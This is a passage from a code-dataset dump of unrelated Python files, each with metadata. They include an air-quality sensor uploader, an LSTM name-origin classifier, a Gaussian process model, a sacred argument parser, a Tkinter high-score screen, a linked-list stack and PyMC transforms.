pearson_r(x,y):\r\n\tcorr_mat=np.corroeff(x,y)\r\n\treturn corr_mat[0,1]\r\nr=pearson_r(df_all_states['total_votes'], df_all_states['dem_share'])\r\nprint(r)\r\n","sub_path":"covariance and pearson correlation.py","file_name":"covariance and pearson correlation.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"559254899","text":"import time\ntime.sleep(30)\nimport json\nimport datetime\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom Adafruit_IO import Client, Feed, Data, RequestError\n\nimport PMS5003\nimport airnow\n\n\n#get key stored separately for secrecy.\nwith open('aio_config.json') as jsonfile:\n aio_config = json.load(jsonfile)\nADAFRUIT_IO_KEY = aio_config[\"aio_key\"]\nADAFRUIT_IO_USERNAME = aio_config[\"aio_username\"]\n\nwith open('airnow_config.json') as jsonfile:\n airnow_config = json.load(jsonfile)\nAIRNOW_KEY = airnow_config[\"key\"]\n\n# Create an instance of the REST client.\naio = Client(ADAFRUIT_IO_USERNAME, ADAFRUIT_IO_KEY)\ntry:\n PM25 = aio.feeds('pm2-dot-5')\nexcept RequestError:\n feed1 = Feed(name=\"pm2-dot-5\")\n PM25 = aio.create_feed(feed1)\n\ntry:\n AQI25 = aio.feeds('aqi-pm2-dot-5')\nexcept RequestError:\n feed2 = Feed(name=\"aqi-pm2-dot-5\")\n PM25 = aio.create_feed(feed2)\n\ntry:\n AQI_outside = aio.feeds('aqi-outside')\nexcept RequestError:\n feed3 = Feed(name=\"aqi-outside\")\n AQI_outside = aio.create_feed(feed3)\n\n# Create instance of PMS5003 object\naq_sensor = PMS5003.PMS5003(serial_terminal=\"/dev/serial0\") \n\n# Create instance of airnow object\nairnow_api = airnow.airnow(api_key=AIRNOW_KEY) \n\n\n# Function for cron scheduler\ndef post_data():\n aq_sensor.read()\n aio.append(PM25.key, aq_sensor.pm25_standard)\n aio.append(AQI25.key ,aq_sensor.aqi_pm25)\n airnow_api.read()\n aio.append(AQI_outside.key, airnow_api.aqi_pm25)\n\n#post_data()\n\n# Cron like python scheduler\nsched = BlockingScheduler()\nsched.add_job(post_data,'cron',year='*',month='*',day='*',week='*',day_of_week='*',hour='*', minute='0/3', second='0')\nsched.start()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"486221580","text":"# -*- coding: utf-8 -*-\n\n\nBOT_NAME = 'doubanmovie'\n\nSPIDER_MODULES = ['doubanmovie.spiders']\nNEWSPIDER_MODULE = 'doubanmovie.spiders'\n\nimport sys\nimport os\nfrom os.path import dirname\npath=dirname(dirname(os.path.abspath(os.path.dirname(__file__))))\nsys.path.append(path)\n\nfrom misc.log import *\n\n\n\n\nDOWNLOADER_MIDDLEWARES = {\n 'misc.middleware.CustomUserAgentMiddleware': 401,\n 'scrapy.contrib.downloadermiddleware.useragent.UserAgentMiddleware' : None, \n}\n\nITEM_PIPELINES={\n 'doubanmovie.pipelines.MySQLStorePipeline':302,\n}\n\nLOG_LEVEL='INFO'\nDOWNLOAD_DELAY=1","sub_path":"doubanmovie/doubanmovie/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"146293415","text":"from __future__ import print_function\n\nimport numpy as np\nimport pandas as pd\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers.core import Activation, Dropout\nfrom keras.models import Sequential\n\n# Determine how long names are\nmaxlen = 30\nlabels = 2\n\n# Import csv file\ninput = pd.read_csv(\"origin_in.csv\")\n # input.columns = ['name', 'n_or_f', 'namelen']\n\n# Shows the break down of native and foreign \ninput.groupby('n_or_f')['name'].count()\n\n# Extract columns and Create Dictionary with Character & Index\nnames = input['name']\norigin = input['n_or_f']\nvocab = set(' '.join([str(i) for i in names]))\nvocab.add('END')\nlen_vocab = len(vocab)\n#print(len_vocab)\nchar_index = dict((c, i) for i, c in enumerate(vocab))\nprint(char_index)\nchar_df = pd.DataFrame.from_dict(char_index, orient = 'index')\nchar_df.to_csv(\"char_index.csv\")\n# Randomly break the data into training and testing\nmsk = np.random.rand(len(input)) < 0.8\n #print(\"msk : %s\" %msk)\ntrain = input[msk]\ntest = input[~msk]\n\n# Tag if a name is native or foreign\ndef tag_origin(n_or_f):\n result = []\n for elem in n_or_f:\n if elem == 'n':\n result.append([1, 0])\n else:\n result.append([0, 1])\n return result\n\n# Create an array of arrays (matrix) of names represented based on index of each character\ndef name_matrix(trunc_name_input, char_index_input, maxlen_input):\n result = []\n for i in trunc_name_input:\n tmp = [set_flag(char_index_input[j]) for j in str(i)]\n for k in range(0, maxlen_input - len(str(i))):\n tmp.append(set_flag(char_index_input[\"END\"]))\n result.append(tmp)\n return result\n\n# Within a zeros vector, change 0 to 1 if a character matches \ndef set_flag(i):\n tmp = np.zeros(56)\n tmp[i] = 1\n return tmp\n\n# Run name_matrix and tag_origin function on both training and testing data\ntrunc_train_name = [str(i)[0:maxlen] for i in train.name]\ntrain_X = name_matrix(trunc_train_name, char_index, maxlen)\ntrain_Y = tag_origin(train.n_or_f)\n\ntrunc_test_name = [str(i)[0:maxlen] for i in test.name]\n#print(trunc_test_name)\ntest_X = name_matrix(trunc_test_name, char_index, maxlen)\ntest_Y = tag_origin(test.n_or_f)\n#print(test_X)\n\n# Build a machine learning model (LSTM architecture)\nmodel = Sequential()\n #model.add(LSTM(32, return_sequences=True, input_shape=(maxlen, len_vocab)))\nmodel.add(LSTM(32, return_sequences=True, input_shape=(maxlen, 56)))\nmodel.add(Dropout(0.15))\nmodel.add(LSTM(32, return_sequences=False))\nmodel.add(Dropout(0.15))\nmodel.add(Dense(2))\n\n #model.add(Flatten())\nmodel.add(Activation('softmax'))\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n #batch_size = 182415\nbatch_size = 32\n #model.fit(train_X, train_Y, batch_size= batch_size , epochs=10, validation_data=(test_X, test_Y))\nmodel.fit(np.array(train_X), np.array(train_Y), batch_size= batch_size , epochs=16, validation_data=(np.array(test_X), np.array(test_Y)))\n\n# Run predictions on given array of numbers\nkorean_name = [\"miyoun song\",\"hyunjoon park\", \"lee seungro\", \"park jaeho\", \"kim seonho\", \"lee mingeun\", \"namgung hwangsil\", \"kim bomi\", \"moon jaein\", \"lee myungbak\"]\nenglish_name = [\"smith alice\", \"disney walt\", \"jobs steve\", \"trump donald\", \"hernandez maria\", \"rogers steve\", \"rodrigues maria\",\"mandela nelson\", \"king luther\", \"downey robert\"]\ntrunc_name_kor = [i[0:maxlen] for i in korean_name]\ntrunc_name_eng = [i[0:maxlen] for i in english_name]\nX_kor = name_matrix(trunc_name_kor, char_index, maxlen)\nX_eng = name_matrix(trunc_name_eng, char_index, maxlen)\npred_kor = model.predict(np.asarray(X_kor))\nprint(\"pred_kor is:\")\nprint(pred_kor)\npred_eng = model.predict(np.asarray(X_eng))\nprint(\"pred_eng is:\")\nprint(pred_eng)\n\n# Print out test score and test accuracy of the model\nscore, acc = model.evaluate(np.array(test_X), np.array(test_Y))\nprint('Test score:', score)\nprint('Test accuracy:', acc)\n\n# Save our model and data\nmodel.save_weights('origin_model.h5', overwrite=True)\nmodel.save('origin_model_entire.h5')\ntrain.to_csv(\"train_split.csv\")\ntest.to_csv(\"test_split.csv\")\n\n# Perform prediction on test for evaluation\nevals = model.predict(np.array(test_X))\nprob_n = [i[0] for i in evals]\n\n# Create dataframe to output the results of evaluation\nout = pd.DataFrame(prob_n)\nout['name'] = test.name.reset_index()['name']\nout['n_or_f'] = test.n_or_f.reset_index()['n_or_f']\n\nout.head(10)\nout.columns = ['prob_n', 'name', 'actual']\nout.head(10)\nout.to_csv(\"origin_pred_out.csv\")","sub_path":"trial_14/name_classification.py","file_name":"name_classification.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"125476927","text":"import sys\nimport torch\nimport numpy as np\nfrom IPython.display import display, HTML\nfrom . import Parameter, Mean, Kernel, config\nfrom functools import reduce\nimport operator\n\ndef prod(iterable):\n return reduce(operator.mul, iterable, 1)\n\nclass CholeskyException(Exception):\n def __init__(self, message, K, model):\n self.message = message\n self.K = K\n self.model = model\n\n def __str__(self):\n return self.message\n\nclass Model:\n def __init__(self, kernel, X, y, mean=None, name=None):\n if not issubclass(type(kernel), Kernel):\n raise ValueError(\"kernel must derive from mogptk.gpr.Kernel\")\n X, y = self._check_input(X, y)\n if mean is not None:\n if not issubclass(type(mean), Mean):\n raise ValueError(\"mean must derive from mogptk.gpr.Mean\")\n mu = mean(X).reshape(-1,1)\n if mu.shape != y.shape:\n raise ValueError(\"mean and y data must match shapes: %s != %s\" % (mu.shape, y.shape))\n\n self.kernel = kernel\n self.X = X\n self.y = y\n self.mean = mean\n self.name = name\n self.input_dims = X.shape[1]\n\n self._params = []\n self._param_names = []\n self._register_parameters(kernel)\n if mean is not None and issubclass(type(mean), Mean):\n self._register_parameters(mean)\n\n def __setattr__(self, name, val):\n if hasattr(self, name) and isinstance(getattr(self, name), Parameter):\n raise AttributeError(\"parameter is read-only, use Parameter.assign()\")\n if isinstance(val, Parameter) and val.name is None:\n val.name = name\n super(Model,self).__setattr__(name, val) \n\n def _check_input(self, X, y=None):\n if not isinstance(X, torch.Tensor):\n X = torch.tensor(X, device=config.device, dtype=config.dtype)\n else:\n X = X.to(config.device, config.dtype)\n if len(X.shape) == 1:\n X = X.reshape(-1,1)\n if len(X.shape) != 2:\n raise ValueError(\"X must have dimensions (data_points,input_dims) with input_dims optional\")\n if X.shape[0] == 0 or X.shape[1] == 0:\n raise ValueError(\"X must not be empty\")\n\n if y is not None:\n if not isinstance(y, torch.Tensor):\n y = torch.tensor(y, device=config.device, dtype=config.dtype)\n else:\n y = y.to(config.device, config.dtype)\n if len(y.shape) == 1:\n y = y.reshape(-1,1)\n if len(y.shape) != 2 or y.shape[1] != 1:\n raise ValueError(\"y must have one dimension (data_points,)\")\n if X.shape[0] != y.shape[0]:\n raise ValueError(\"number of data points for X and y must match\")\n return X, y\n else:\n # X is for prediction\n if X.shape[1] != self.input_dims:\n raise ValueError(\"X must have %s input dimensions\" % self.input_dims)\n return X\n\n def _register_parameters(self, obj, name=None):\n if isinstance(obj, Parameter):\n if obj.name is not None:\n if name is None:\n name = obj.name\n else:\n name += \".\" + obj.name\n elif name is None:\n name = \"\"\n self._params.append(obj)\n self._param_names.append(name)\n elif isinstance(obj, list):\n for i, v in enumerate(obj):\n self._register_parameters(v, (name if name is not None else \"\")+\"[\"+str(i)+\"]\")\n elif issubclass(type(obj), Kernel) or issubclass(type(obj), Mean):\n for v in obj.__dict__.values():\n self._register_parameters(v, (name+\".\" if name is not None else \"\")+obj.name)\n\n def zero_grad(self):\n for p in self._params:\n p = p.unconstrained\n if p.grad is not None:\n if p.grad.grad_fn is not None:\n p.grad.detach_()\n else:\n p.grad.requires_grad_(False)\n p.grad.zero_()\n\n def parameters(self):\n for p in self._params:\n if p.trainable:\n yield p.unconstrained\n \n def print_parameters(self, file=None):\n def param_range(lower, upper, trainable=True):\n if lower is not None:\n if prod(lower.shape) == 1:\n lower = lower.item()\n else:\n lower = lower.tolist()\n if upper is not None:\n if prod(upper.shape) == 1:\n upper = upper.item()\n else:\n upper = upper.tolist()\n\n if not trainable:\n return \"fixed\"\n if lower is None and upper is None:\n return \"(-∞, ∞)\"\n elif lower is None:\n return \"(-∞, %s]\" % upper\n elif upper is None:\n return \"[%s, ∞)\" % lower\n return \"[%s, %s]\" % (lower, upper)\n\n if file is None:\n try:\n get_ipython # fails if we're not in a notebook\n table = ''\n for name, p in zip(self._param_names, self._params):\n table += '' % (name, param_range(p.lower, p.upper, p.trainable), p.numpy())\n table += '
    NameRangeValue
    %s%s%s
    '\n display(HTML(table))\n return\n except Exception as e:\n pass\n\n vals = [[\"Name\", \"Range\", \"Value\"]]\n for name, p in zip(self._param_names, self._params):\n vals.append([name, param_range(p.lower, p.upper, p.trainable), str(p.numpy())])\n\n nameWidth = max([len(val[0]) for val in vals])\n rangeWidth = max([len(val[1]) for val in vals])\n for val in vals:\n print(\"%-*s %-*s %s\" % (nameWidth, val[0], rangeWidth, val[1], val[2]), file=file)\n\n def _cholesky(self, K):\n try:\n return torch.linalg.cholesky(K)\n except RuntimeError as e:\n print(\"ERROR:\", e.args[0], file=sys.__stdout__)\n print(\"K =\", K, file=sys.__stdout__)\n if K.isnan().any():\n print(\"Kernel matrix has NaNs!\", file=sys.__stdout__)\n if K.isinf().any():\n print(\"Kernel matrix has infinities!\", file=sys.__stdout__)\n print(\"Parameters:\", file=sys.__stdout__)\n self.print_parameters(file=sys.__stdout__)\n raise CholeskyException(e.args[0], K, self)\n\n def log_marginal_likelihood(self):\n raise NotImplementedError()\n\n def log_prior(self):\n return sum([p.log_prior() for p in self._params])\n\n def loss(self):\n self.zero_grad()\n loss = -self.log_marginal_likelihood() - self.log_prior()\n loss.backward()\n return loss\n\n def K(self, X1, X2=None):\n with torch.no_grad():\n X1 = self._check_input(X1) # MxD\n if X2 is not None:\n X2 = self._check_input(X2) # MxD\n return self.kernel(X1,X2).cpu().numpy()\n\n def sample(self, Z, n=None):\n with torch.no_grad():\n S = n\n if n is None:\n S = 1\n\n mu, var = self.predict(Z, full=True, tensor=True) # MxD and MxMxD\n u = torch.normal(\n torch.zeros(Z.shape[0], S, device=config.device, dtype=config.dtype),\n torch.tensor(1.0, device=config.device, dtype=config.dtype)) # MxS\n L = torch.linalg.cholesky(var + 1e-6*torch.ones(Z.shape[0]).diagflat()) # MxM\n samples = mu + L.mm(u) # MxS\n if n is None:\n samples = samples.squeeze()\n return samples.cpu().numpy()\n\nclass GPR(Model):\n def __init__(self, kernel, X, y, noise=1.0, mean=None, name=\"GPR\"):\n super(GPR, self).__init__(kernel, X, y, mean, name)\n\n self.log_marginal_likelihood_constant = 0.5*X.shape[0]*np.log(2.0*np.pi)\n\n self.noise = Parameter(noise, name=\"noise\", lower=config.positive_minimum)\n self.eye = torch.eye(self.X.shape[0], device=config.device, dtype=config.dtype)\n self._register_parameters(self.noise)\n\n def log_marginal_likelihood(self):\n K = self.kernel(self.X) + self.noise()*self.eye # NxN\n L = self._cholesky(K) # NxN\n\n if self.mean is not None:\n y = self.y - self.mean(self.X).reshape(-1,1) # Nx1\n else:\n y = self.y # Nx1\n\n p = -0.5*y.T.mm(torch.cholesky_solve(y,L)).squeeze()\n p -= L.diagonal().log().sum()\n p -= self.log_marginal_likelihood_constant\n return p#/self.X.shape[0] # dividing by the number of data points normalizes the learning rate\n\n def predict(self, Z, full=False, tensor=False):\n with torch.no_grad():\n Z = self._check_input(Z) # MxD\n\n K = self.kernel(self.X) + self.noise()*self.eye # NxN\n Ks = self.kernel(self.X,Z) # NxM\n Kss = self.kernel(Z) + self.noise()*torch.eye(Z.shape[0], device=config.device, dtype=config.dtype) # MxM\n\n L = self._cholesky(K) # NxN\n v = torch.triangular_solve(Ks,L,upper=False)[0] # NxM\n\n if self.mean is not None:\n y = self.y - self.mean(self.X).reshape(-1,1) # Nx1\n mu = Ks.T.mm(torch.cholesky_solve(y,L)) # Mx1\n mu += self.mean(Z).reshape(-1,1) # Mx1\n else:\n mu = Ks.T.mm(torch.cholesky_solve(self.y,L)) # Mx1\n\n var = Kss - v.T.mm(v) # MxM\n if not full:\n var = var.diag().reshape(-1,1) # Mx1\n if tensor:\n return mu, var\n else:\n return mu.cpu().numpy(), var.cpu().numpy()\n","sub_path":"mogptk/gpr/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"251926150","text":"#!/usr/bin/env python\n# coding=utf-8\nfrom __future__ import division, print_function, unicode_literals\nimport ast\nfrom collections import OrderedDict\nimport re\nimport textwrap\nimport sys\n\nfrom docopt import docopt\n\nfrom sacred.commands import help_for_command\nfrom sacred.observers import MongoObserver\nfrom sacred.utils import set_by_dotted_path\n\n__sacred__ = True # marks files that should be filtered from stack traces\n\n__all__ = ('parse_args', 'get_config_updates', 'get_observers')\n\n\nUSAGE_TEMPLATE = \"\"\"Usage:\n {program_name} [(with UPDATE...)] [-m DB] [-l LEVEL] [-d]\n {program_name} help [COMMAND]\n {program_name} (-h | --help)\n {program_name} COMMAND [(with UPDATE...)] [-m DB] [-l LEVEL] [-d]\n\n{description}\n\nOptions:\n -h --help Print this help message and exit\n -m DB --mongo_db=DB Add a MongoDB Observer to the experiment\n -l LEVEL --logging=LEVEL Adjust the loglevel\n -d --debug Don't filter the stacktrace and automatically enter\n post-mortem debugging with pdb\n\nArguments:\n DB Database specification. Can be [host:port:]db_name[.prefix]\n UPDATE Configuration assignments of the form foo.bar=17\n COMMAND Custom command to run\n LEVEL Loglevel either as 0 - 50 or as string:\n DEBUG(10), INFO(20), WARNING(30), ERROR(40), CRITICAL(50)\n\"\"\"\n\n\nDB_NAME_PATTERN = r\"[_A-Za-z][0-9A-Za-z!#%&'()+\\-;=@\\[\\]^_{}.]{0,63}\"\nHOSTNAME_PATTERN = \\\n r\"(?=.{1,255}$)\"\\\n r\"[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?\"\\\n r\"(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\"\\\n r\"\\.?\"\nURL_PATTERN = \"(?:\" + HOSTNAME_PATTERN + \")\" + \":\" + \"(?:[0-9]{1,5})\"\n\nDB_NAME = re.compile(\"^\" + DB_NAME_PATTERN + \"$\")\nURL = re.compile(\"^\" + URL_PATTERN + \"$\")\nURL_DB_NAME = re.compile(\"^(?P\" + URL_PATTERN + \")\" + \":\" +\n \"(?P\" + DB_NAME_PATTERN + \")$\")\n\n\ndef parse_args(argv, description=\"\", commands=None, print_help=True):\n usage = _format_usage(argv[0], description, commands)\n args = docopt(usage, [str(a) for a in argv[1:]], help=print_help)\n if not args['help'] or not print_help:\n return args\n\n if args['COMMAND'] is None:\n print(usage)\n sys.exit()\n else:\n print(help_for_command(commands[args['COMMAND']]))\n sys.exit()\n\n\ndef get_config_updates(updates):\n config_updates = {}\n named_configs = []\n if not updates:\n return config_updates, named_configs\n for upd in updates:\n if upd == '':\n continue\n path, sep, value = upd.partition('=')\n if sep == '=':\n path = path.strip() # get rid of surrounding whitespace\n value = value.strip() # get rid of surrounding whitespace\n set_by_dotted_path(config_updates, path, _convert_value(value))\n else:\n named_configs.append(path)\n return config_updates, named_configs\n\n\ndef get_observers(args):\n observers = []\n if args['--mongo_db']:\n url, db_name, prefix = _parse_mongo_db_arg(args['--mongo_db'])\n if prefix:\n mongo = MongoObserver.create(db_name=db_name, url=url,\n prefix=prefix)\n else:\n mongo = MongoObserver.create(db_name=db_name, url=url)\n\n observers.append(mongo)\n\n return observers\n\n\ndef _format_usage(program_name, description, commands=None):\n usage = USAGE_TEMPLATE.format(\n program_name=program_name,\n description=description.strip() if description else '')\n\n if commands:\n usage += \"\\nCommands:\\n\"\n cmd_len = max([len(c) for c in commands] + [8])\n command_doc = OrderedDict(\n [(cmd_name, _get_first_line_of_docstring(cmd_doc))\n for cmd_name, cmd_doc in commands.items()])\n for cmd_name, cmd_doc in command_doc.items():\n usage += (\" {:%d} {}\\n\" % cmd_len).format(cmd_name, cmd_doc)\n return usage\n\n\ndef _get_first_line_of_docstring(func):\n return textwrap.dedent(func.__doc__ or \"\").strip().split('\\n')[0]\n\n\ndef _convert_value(value):\n try:\n return ast.literal_eval(value)\n except (ValueError, SyntaxError):\n # use as string if nothing else worked\n return value\n\n\ndef _parse_mongo_db_arg(mongo_db):\n if DB_NAME.match(mongo_db):\n db_name, _, prefix = mongo_db.partition('.')\n return 'localhost:27017', db_name, prefix\n elif URL.match(mongo_db):\n return mongo_db, 'sacred', ''\n elif URL_DB_NAME.match(mongo_db):\n match = URL_DB_NAME.match(mongo_db)\n db_name, _, prefix = match.group('db_name').partition('.')\n return match.group('url'), db_name, prefix\n else:\n raise ValueError('mongo_db argument must have the form \"db_name\" or '\n '\"host:port[:db_name]\" but was %s' % mongo_db)\n","sub_path":"sacred/arg_parser.py","file_name":"arg_parser.py","file_ext":"py","file_size_in_byte":4836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"305076843","text":"#!/usr/bin/env python3\nfrom tkinter import *\nimport csv\nimport flappy\n\n\nclass hiscore:\n def __init__(self, master):\n self.master = master\n #makes the gui\n\n\n topframe = Frame(master)\n topframe.pack()\n\n botframe = Frame(master)\n botframe.pack()\n\n\n self.tryagainbutton = Button(botframe, text='Try again', command=self.try_again)\n self.tryagainbutton.grid()\n self.exitbutton = Button(botframe, text = 'Exit' , command=self.exit)\n self.exitbutton.grid(row = 0, column = 1)\n\n v = IntVar()\n v.set(2)\n self.label = Label(topframe, text='Sort by:')\n self.label.grid(row = 0, column = 0)\n\n\n\n with open('scores.csv') as csvfile:\n self.data = list(csv.reader(csvfile))\n \n def sort_name():\n\n self.listbox.delete(0,END)\n print('sortname')\n newlist = self.data\n sortedbyname = sorted(newlist, key=lambda x: x[0])\n print(sortedbyname)\n\n for line in sortedbyname:\n # distance = longestnamelength - len(line[0]) + 2\n self.listbox.insert(END, line[0], line[2], '-' * 20, '')\n def sort_score():\n self.listbox.delete(0,END)\n print('sortscore')\n newlist = self.data\n sortedbyscore = sorted(newlist,key=lambda x: int(x[2]), reverse = True)\n print(sortedbyscore)\n #longestname = max(self.data, key=lambda x: len(x[2]))\n #longestnamelength = len(longestname[0])\n\n for line in sortedbyscore:\n #distance = longestnamelength - len(line[0]) + 2\n self.listbox.insert(END, line[0], line[2], '-'*20, '')\n\n def get_score(person, score):\n high = '0'\n for line in self.data:\n if flappy.theperson == line[0]:\n if flappy.totalscore > int(line[2]):\n high = flappy.totalscore\n line[2] = high\n with open('scores.csv', 'w', newline='') as csvfile:\n csv.writer(csvfile).writerows(self.data)\n else: high = int(line[2])\n\n\n newframe = Frame(master)\n newframe.pack()\n self.score = score\n self.person = person\n\n self.scorelabel = Label(newframe, text='Hello, %s! \\n Your score that round was: %s \\n Your all-time high is: %s' %(self.person, self.score, high))\n self.scorelabel.grid()\n\n\n get_score(flappy.theperson,flappy.totalscore)\n\n self.rd1 = Radiobutton(topframe, text='Name', variable = v, value = 1, command=sort_name)\n self.rd2 = Radiobutton(topframe, text='Score', variable = v, value =2, command=sort_score)\n\n self.rd1.grid(row=0, column=1, sticky =W)\n self.rd2.grid(row=0,column=2, sticky =W)\n\n\n\n scrollbar = Scrollbar(topframe, orient=VERTICAL)\n self.listbox = Listbox(topframe)\n self.listbox.config(yscrollcommand=scrollbar.set)\n scrollbar.config(command=self.listbox.yview)\n scrollbar.grid(row=1, column=3)\n self.listbox.grid(row=1,columnspan=2)\n self.rd2.invoke()\n \n \n \n\n\n def try_again(self):\n self.master.destroy()\n flappy.main()\n def exit(self):\n self.master.destroy()\n\n\n\ndef main():\n root = Tk()\n a = hiscore(root)\n\n root.title('Highscores of Flappy Bird')\n root.mainloop()\n\n","sub_path":"hiscores.py","file_name":"hiscores.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535761166","text":"# Copyright 2020 The PyMC Developers\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport aesara.tensor as at\n\nfrom aeppl.transforms import (\n CircularTransform,\n IntervalTransform,\n LogOddsTransform,\n LogTransform,\n RVTransform,\n Simplex,\n)\nfrom aesara.tensor.subtensor import advanced_set_subtensor1\n\n__all__ = [\n \"RVTransform\",\n \"simplex\",\n \"logodds\",\n \"interval\",\n \"log_exp_m1\",\n \"ordered\",\n \"log\",\n \"sum_to_1\",\n \"circular\",\n \"CholeskyCovPacked\",\n \"Chain\",\n]\n\n\nclass LogExpM1(RVTransform):\n name = \"log_exp_m1\"\n\n def backward(self, value, *inputs):\n return at.softplus(value)\n\n def forward(self, value, *inputs):\n \"\"\"Inverse operation of softplus.\n\n y = Log(Exp(x) - 1)\n = Log(1 - Exp(-x)) + x\n \"\"\"\n return at.log(1.0 - at.exp(-value)) + value\n\n def log_jac_det(self, value, *inputs):\n return -at.softplus(-value)\n\n\nclass Ordered(RVTransform):\n name = \"ordered\"\n\n def backward(self, value, *inputs):\n x = at.zeros(value.shape)\n x = at.inc_subtensor(x[..., 0], value[..., 0])\n x = at.inc_subtensor(x[..., 1:], at.exp(value[..., 1:]))\n return at.cumsum(x, axis=-1)\n\n def forward(self, value, *inputs):\n y = at.zeros(value.shape)\n y = at.inc_subtensor(y[..., 0], value[..., 0])\n y = at.inc_subtensor(y[..., 1:], at.log(value[..., 1:] - value[..., :-1]))\n return y\n\n def log_jac_det(self, value, *inputs):\n return at.sum(value[..., 1:], axis=-1)\n\n\nclass SumTo1(RVTransform):\n \"\"\"\n Transforms K - 1 dimensional simplex space (k values in [0,1] and that sum to 1) to a K - 1 vector of values in [0,1]\n This Transformation operates on the last dimension of the input tensor.\n \"\"\"\n\n name = \"sumto1\"\n\n def backward(self, value, *inputs):\n remaining = 1 - at.sum(value[..., :], axis=-1, keepdims=True)\n return at.concatenate([value[..., :], remaining], axis=-1)\n\n def forward(self, value, *inputs):\n return value[..., :-1]\n\n def log_jac_det(self, value, *inputs):\n y = at.zeros(value.shape)\n return at.sum(y, axis=-1)\n\n\nclass CholeskyCovPacked(RVTransform):\n name = \"cholesky-cov-packed\"\n\n def __init__(self, param_extract_fn):\n self.param_extract_fn = param_extract_fn\n\n def backward(self, value, *inputs):\n diag_idxs = self.param_extract_fn(inputs)\n return advanced_set_subtensor1(value, at.exp(value[diag_idxs]), diag_idxs)\n\n def forward(self, value, *inputs):\n diag_idxs = self.param_extract_fn(inputs)\n return advanced_set_subtensor1(value, at.log(value[diag_idxs]), diag_idxs)\n\n def log_jac_det(self, value, *inputs):\n diag_idxs = self.param_extract_fn(inputs)\n return at.sum(value[diag_idxs])\n\n\nclass Chain(RVTransform):\n\n __slots__ = (\"param_extract_fn\", \"transform_list\", \"name\")\n\n def __init__(self, transform_list):\n self.transform_list = transform_list\n self.name = \"+\".join([transf.name for transf in self.transform_list])\n\n def forward(self, value, *inputs):\n y = value\n for transf in self.transform_list:\n # TODO:Needs proper discussion as to what should be\n # passed as inputs here\n y = transf.forward(y, *inputs)\n return y\n\n def backward(self, value, *inputs):\n x = value\n for transf in reversed(self.transform_list):\n x = transf.backward(x, *inputs)\n return x\n\n def log_jac_det(self, value, *inputs):\n y = at.as_tensor_variable(value)\n det_list = []\n ndim0 = y.ndim\n for transf in reversed(self.transform_list):\n det_ = transf.log_jac_det(y, *inputs)\n det_list.append(det_)\n y = transf.backward(y, *inputs)\n ndim0 = min(ndim0, det_.ndim)\n # match the shape of the smallest log_jac_det\n det = 0.0\n for det_ in det_list:\n if det_.ndim > ndim0:\n det += det_.sum(axis=-1)\n else:\n det += det_\n return det\n\n\nsimplex = Simplex()\nlogodds = LogOddsTransform()\ninterval = IntervalTransform\nlog_exp_m1 = LogExpM1()\nordered = Ordered()\nlog = LogTransform()\nsum_to_1 = SumTo1()\ncircular = CircularTransform()\n","sub_path":"pymc/distributions/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":4805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"25300354","text":"import sys\n\nclass Node:\n def __init__(self):\n self.data = None\n self.next = None\n\nclass ListStack:\n def __init__(self):\n self.head = None\n \n def SIsEmpty(self):\n if self.head is None:\n return True\n else:\n return False\n \n def SPush(self, data):\n newNode = Node()\n\n newNode.data = data\n newNode.next = self.head\n\n self.head = newNode\n\n def SPop(self):\n if self.SIsEmpty() is True:\n print(\"Stack Memory Error!\")\n sys.exit(-1)\n \n rdata = self.head.data\n\n self.head = self.head.next\n\n return rdata\n \n def SPeek(self):\n if self.SIsEmpty() is True:\n print(\"Stack Memory Error!\")\n sys.exit(-1)\n \n return self.head.data\n","sub_path":"codes/InfixToPostfix/Python/ListBaseStackModule.py","file_name":"ListBaseStackModule.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"298320166","text":"import sys\nimport os\nimport numpy as np\nimport scipy.io\nimport cv2\nimport pdb\nimport dataset\nfrom human_eva.actor_parameter import ActorParameter\nfrom human_eva.synchronization_parameter import SynchronizationParameter\nfrom human_eva.motion_capture_data import MotionCaptureData\nfrom human_eva.camera_parameter import CameraParameter\nfrom human_eva.conic_limb_parameter import ConicLimbParameter\nfrom human_eva.limb_length import LimbLength\nfrom human_eva.global_marker_transform import GlobalMarkerTransform\nfrom human_eva.pose_3d import Pose3D\nfrom human_eva.pose_2d import Pose2D\nfrom human_eva.bounding_box import BoundingBox\nDEBUG = True\n## torsoProximal, upperLLegProximal, upperRArmDistall(lowerLArmProximal), lowerRArmDistal(strange, two low): something wrong with them,\n# maybe something wrong with calcuating or synchronization\nif DEBUG:\n def drawSinglePic(frame_tmp, x_2d_t, name, c = (255, 0, 0)):\n frame_tmp = 